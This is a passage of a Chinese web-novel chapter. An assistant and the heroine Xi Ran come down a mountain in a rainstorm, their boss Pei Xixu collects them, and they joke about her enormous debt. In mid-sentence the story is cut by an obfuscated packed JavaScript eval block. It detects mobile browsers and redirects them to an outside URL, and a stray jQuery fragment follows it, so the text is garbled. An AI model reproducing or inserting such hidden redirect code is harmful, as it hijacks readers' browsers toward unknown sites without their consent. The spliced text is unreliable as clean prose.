“我们回去吧。”溪冉突然开口。
“啊？”小陈正站在一边伤春悲秋，以为溪冉要在这里等一整晚，突然听到她说回去，小陈愣了一下。
溪冉提醒：“要变天了，再等会儿下山难走。”
小陈这才后知后觉地打了个寒颤，赶紧把手机揣回兜里：“好的，溪冉小姐。”
下山的路上，一开始小陈还能跟在溪冉身后碎碎念，说刚才的晚霞多好看，可没走多久，风就越刮越急，天上的灰云彻底压了下来，豆大的雨点“噼里啪啦”地砸在树叶上，溅起细碎的水花。
“雨怎么来得这么突然？”小陈惊呼一声，赶紧把外套脱下来盖在溪冉头顶，脚步踉跄了一下，差点踩空。
溪冉回头看他一眼，从背包侧袋里掏出一把折叠伞递过去：“你撑好，不用管我。”
她自己则拉开背包拉链，拿出裴西叙塞给她的冲锋衣外套。
小陈接过伞，刚撑开就被一阵风掀得翻了个面，他手忙脚乱地把伞掰回来，抬头就见溪冉已经走到了前面几步远的地方，冲锋衣的帽子罩在头上，挡住了大半张脸，只露出线条干净的下颌。
小陈直埋怨自己准备不充分，以为去趟香山就会回去，没想到溪冉会来这边，一边跟在溪冉后面。按理说，他作为助理，应该走到溪冉前面为她开路，但溪冉的身体素质比她强太多了，他能跟上已经是不容易。
雨越下越大，碎石路上积了水，打滑得厉害。
小陈跟在后面，眼睛紧紧盯着溪冉的脚后跟，生怕自己一个不小心就摔下去。
这时，手机突然在口袋里震动了一下，小陈赶紧掏出来看，却发现屏幕上只有“无服务”三个字，信号格空空如也。
“溪冉小姐，没信号了。”他声音有点发慌。
这山上本来就偏，今天来得突然，他也没来得及做准备攻略，不知道会失去信号。现在下这么大雨，怕是连求救电话都打不出去。
溪冉脚步没停，只是侧过头看了他一眼，语气依旧平静：“别慌，跟着我。”
她很清楚这里的路怎么走。
可小陈没她这么镇定。
他自然相信溪冉可以带他安然无恙地回到山脚，但是他是助理，听从裴西叙的安排来陪溪冉在北城闲逛，现在遇到问题，反而是溪冉保护他，他该怎么给裴西叙交代？
他攥着手机，手心全是汗，脚步也越来越沉。雨顺着伞沿往下淌，打湿了他的裤脚，冷意顺着脚踝往上爬，似乎要把他包裹起来。
又走了十几分钟，前面的路突然转了个弯，旁边的山坡上长着一片灌木丛，被风吹得东倒西歪。小陈跟着溪冉转弯时，脚下突然一滑，整个人往前扑去，手里的伞飞出去，重重地撞在旁边的树干上，伞骨断了两根。
“啊！”他惊呼一声，眼看就要摔在湿滑的石板上，手腕却突然被一只温热的手攥住。
溪冉的力气比他想象中大得多，只轻轻一拉，就把他拉稳了。可小陈自己却没稳住重心，崴了一下脚，疼得他倒抽一口凉气，额头上瞬间冒出了冷汗。
“别动。”溪冉扶着他的胳膊，让他靠在旁边的树干上，然后蹲下身，掀起他被雨水打湿的裤脚。脚踝还没有肿，但皮肤已经开始泛红。
“应该是韧带拉伤了，没伤到骨头。”溪冉摸了摸他脚踝周围，见他没疼得跳起来，站了起来。
溪冉的手没轻没重，小陈疼得龇牙咧嘴，却只能忍着。
相比于扭伤的脚踝，小陈更担心裴西叙会不会罚他的钱，或者开了他。虽然他认识的裴总不是这样的人，但他以前也没犯过这种低级错误，而且，裴总人再好也是资本家，他不敢赌。
溪冉的帽子已经滑了下来，几缕湿发贴在脸颊上，雨水顺着发梢滴下来，落在她的手背上。
溪冉把自己的胳膊伸出来递给他：“你撑着，我扶你走。”
小陈赶紧摆手：“不用不用，溪冉小姐，我还能走。”
溪冉打量着他不稳的身形：“还要走很久。”
小陈看着溪冉伸出来的胳膊，默默把手搭了上去。
相比于工作，还是命比较重要。
-
“溪冉小姐，”走了大概二十分钟，小陈突然开口，“以后您有什么事，尽管吩咐我。”
溪冉扶着他的手顿了顿，问：“为什么突然这么说？”
“因为……”小陈顿了顿，“因为，您是裴总之外，对我最好的人。”
溪冉看向他，下意识觉得小陈有什么不为人知的故事。但小陈不主动说，她也没什么好问的。
于是，溪冉把头转回去，继续往山下走。
又走了十几分钟，雨渐渐小了，远处的雾气也散了些。
小陈突然眼睛一亮：“溪冉小姐，是裴先生。”
溪冉顺着他指的方向看去，只见山脚的路边停着一辆黑色的轿车，车灯亮着，在雨幕里晕开一圈暖黄的光。车旁站着一个男人，穿着深色的大衣，正朝着他们的方向望过来。
是裴西叙。
看到他们，裴西叙快步走了过来，脚步急切，眉头微蹙。
他先走到溪冉身边，伸手拂去她肩上的雨水，语气里带着点担心：“还好吗？”
溪冉点头：“没事。下山时遇到下雨，小陈脚崴了，走得慢。”
裴西叙这才注意到小陈被溪冉扶着，赶紧把手里的另一把伞递给他：“怎么样？严不严重？”
“不严重，一点小伤。”小陈赶紧松开溪冉的胳膊，“裴总，您怎么过来了？”
“打你们的电话打不通，又不知道你们从哪条路下来，怕上山跟你们错开。”裴西叙打了个电话，通知保镖不用过来了，“保镖还在来的路上。”
裴西叙看着溪冉：“你们再不下来，我就要派人上山去找你们了。”
裴西叙伸手替溪冉把滑下来的帽子重新戴好，指尖轻轻碰了碰她的脸颊：“冷不冷？车里开了暖气，先上车吧。”
溪冉点了点头，没说话。
上车后，裴西叙递给他们干燥的毛巾：“擦擦头发，别感冒了。”
小陈压抑地咳嗽一声：“裴总，有信号了。我让阿姨她们煮好姜汤，准备感冒药。”
裴西叙点头，脸上没什么表情。
-
车子缓缓驶离山脚，往云栖别墅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290492|182666||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的方向开去。
雨已经停了，窗外的夜空渐渐亮了起来，星星又探出了头，一闪一闪的。
小陈靠在副驾驶座，昏昏欲睡。车厢内一片安静，只听得到空调运作的细微声响和窗外偶尔掠过的风声。溪冉靠在后座，望着窗外飞速倒退的夜景，睫毛垂下浅浅阴影。
忽然，一件大衣轻轻盖在她肩上。
她微微一愣，转过头，正对上裴西叙的目光。他没有说话，只是将大衣又拢紧了些，指尖在她肩上短暂停留了一瞬便收回。
“找到你想要的了吗？”
溪冉没有点头，也没有摇头，只是淡淡道：“找到了，我就要离开了。”
裴西叙顿了一下：“不可以。”
溪冉下意识看向裴西叙。
不光是溪冉，小陈的瞌睡也醒了，悄悄竖起耳朵。
“你欠我的钱，还没有还清。”
小陈：“……”
溪冉道：“我会还清的。”
裴西叙没有直接回答，而是反问她：“记得还欠多少吗？”
溪冉点头：“10.2亿。”
“你的工资，小陈应该也告诉过你了。”
听到裴西叙忽然叫到他的名字，小陈心里咯噔一下，赶紧闭上眼睛装死。
溪冉再次点头：“一百万。”
裴西叙继续道：“这个工资对于保镖来说，已经超出市场价很多了。”
“我知道。”
“如果按照顾问的工资标准，一百万不算高，也不算低。”
溪冉歪头看向裴西叙，不知道他的话是什么意思。
“我给你的工资，已经综合了保镖和顾问两个岗位的工资。”
小陈默默猜测，裴总的资本家属性藏不住了。
溪冉拢了拢肩上还带着他体温的大衣，忽然有些倦，头轻轻靠在车窗上，静静看着裴西叙。
裴西叙看着她安静的侧脸，眼底掠过一丝极淡的复杂情绪。他伸出手，极轻地将她滑落的发丝拨到耳后。
“小陈跟你提过奖金？”
溪冉再次诚实地点头。
小陈缩在副驾，好像看不见未来，又好像一眼看到了头。
车子平稳行驶，路灯流光偶尔掠过车内，明明灭灭。
“工资翻倍。”
小陈：？
溪冉点头：“奖金呢？”
“奖金也翻倍。”
溪冉默默计算：设定工资保持440万每年直至下一个经济增长期，还清欠债需要232年。
“可是你活不到那个时候。”
也就是说，最多等到裴西叙去世，人死债消，她就可以离开了。
小陈默默捂脸。
祖宗，这话是可以当着老板的面说的吗？
裴西叙却没当一回事：“但是我可以要求你将未偿清的钱还给指定人。”
“也就是说，就算你死了，我还是需要继续还钱？”
“当然，想必小陈跟你说过，我是个资本家，从来不做亏本买卖。”
小陈：“……”
小陈歪着脑袋倒在座椅上，好像有一点死了。